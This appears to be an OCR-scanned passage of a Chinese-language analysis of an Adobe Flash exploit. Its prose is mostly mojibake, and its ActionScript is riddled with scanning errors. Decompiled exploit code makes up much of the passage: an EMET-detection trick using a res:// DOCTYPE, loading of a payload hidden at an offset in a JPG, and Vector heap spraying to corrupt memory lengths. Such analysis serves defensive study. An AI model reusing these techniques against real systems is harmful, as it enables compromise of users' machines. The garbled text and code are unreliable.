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TRV ) i B 3 ek — N 3 2 #4345 1) Adobe Flash SO (9 9 A2 BRI PR TR, 7T DALE 250 3 3 X
X AEAT R HRE U7 R, Seidt ASLR(HBAE = [H]C B FEHLZEL ) AT DEP(EHE AT PR3 f5 L4
17 payload.

NG BRI & T 1E 10, dn AT 422 1 i) Enhanced Mitigation Experience
Toolkit(EMET) L+ T AR To 2K -

Z AT/ 2R EMET 2 K8 EXP f&4a LU N

var steeple="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//

EN' 'res://C:\\\\windows\\\\AppPatch\\\\EMET.DLL'>";

ZACHS (R4 F i DA xml 177 REL I R 402 54772 EMET &1 dil 32, LA dIl f77E
H5HAE AR A IEAT JavaScript (9554, 5 AR 4R 23T (A2 B PN, O B AN 415%) o
H swf XA EHAT LA ARS

public function Tope () {

this.jpgByte = new ByteArray () ;

this.l = new URLLoader () ;

this.store bytes = new ByteArray();

Super () ;

var locall:URLRequest = new URLRequest () ;
_locall.url = "Erido.jpg";

this.l.dataFormat = URLLoaderDataFormat.BINARY;
this.l.addEventListener (Event.COMPLETE, this.E xx);

this.l.load( locall);

Erido.jpg X258 P . RIRIARS R ) /2 Shockwave Flash ) ActionScripta T % A %,
(B SR I A BIRERL SO, TR AR 1T B I 2 i X
JETHI_local() B LR AETHE A A7, FSiix B2 Se b i W AE Be AR S, B B R 1202 ki B 474K
F.



this.jpgByte.endian = Endian.LITTLE ENDIAN;

woR

this.jpgByte.position = 0;
ByteArray(this.l.data) .position = 36321;
q ByteArray(this.l.data) .readBytes (this. jpgByte, 0, 0):
& var _local42:uint = this.jpgByte.lengch;
6 var _local43:int;
7 while (((_local43 + 1) * 4) < _localéd2) {
8 _local44 = this.jpgByte.readInt():;
R = try {
this.s[_local7] [(((((_local3 - local2l) [ 4) + _loecallé) + 287) + _local43)] = _local44:
} catch(e:Error) f{
r ti
_locald3++;
- }:
_local2s = 0;
= if (_locald > _local2l){
this.s[_local7][((_local4 - _localll) J/ Dl = _locali;
} else {
this.s[ local7] [(0x40000000 + {({ local4 - localll) [ 411 = _locals;
- }:

this.m mark = true;
this.snd.toS5tring()
this.store_bytes.position = 07
_local40 = 0;

PR
LR

2

s while ( localdd < 262144) {
26 thisg.s[_local7][(_local40 + local4l)] = this.store bytes.readInt():
27 _locald0++:
8 }i
this.s[_local2] [((Cx1000 f 4y - 23] = this.m rawlen;
this.s[ local7] [(0=40000000 - ({_local2l - 1locallé) f 411 = this.m rawlen;

kB AS3 A AL LS T, 4 Vector class #% B8 7 BU AR USSR i o

1 [public function E_xx(_argl:Event) :void{

this.tf — new TextField();

this.snd = new Sound() ;

this.s = new Vector.<Object>(28623);
this.ss = new Vector.<Object>(12) ;

this.work = new Timer(this.delay, this.repeat):
= 0;
var _local3:# = O
= 0;
var localS:% = "";
var _localé
var local7:

1 o tn

var localZ?

var _locals

({0x1000 / &) - 2):
o
= ((0x1000 / 2) - 1T):

var _locals
var _local
_localZ = 0;
this.m_rawlen = _local7;

var locall0:* = Ox1A1B2000;

= while (_local2 < 98683) {

this.s[_local2] = mew Vector.<uint>{_localT);
this.s[_local2][0] = 3735928545;

_locals = 1;
this.s[_local2][({16 - 8)
this.s[_local2][{(20 - &)
this.s[_local2][((752 - 2
this.s[_local2][{{448 - 8
26 _localZ++;

i }:
_local2 = 0;

= while (_local2 < 0x0400) {

thisg.s=s[_local2] = new Vector.<Object>(_locald):
_locald = 0;

= while (_locald < _local?) {

this.ss[_local?] [_local3] = this.snd;
_localS++;

4)] = _localld:
4)] = _locall0:
) / 4)] = Ox41414141;
) /4] = 0;

g) [/
8) [/

[ ¥
_localZ++;

= if (ExternalInterface.available){
Externallnterface.call ("p
ExternalInterface.call("p

3", this.org):
, this.oxg):

- ¥
this.work.start():
this.work.addEventListener (TimerEvent.TIMER, this.proc);

46 public var s:Vector.<Objects;
public var m my5o0:SharedObject:

var to:String = "\x1D\x01\x01\x0
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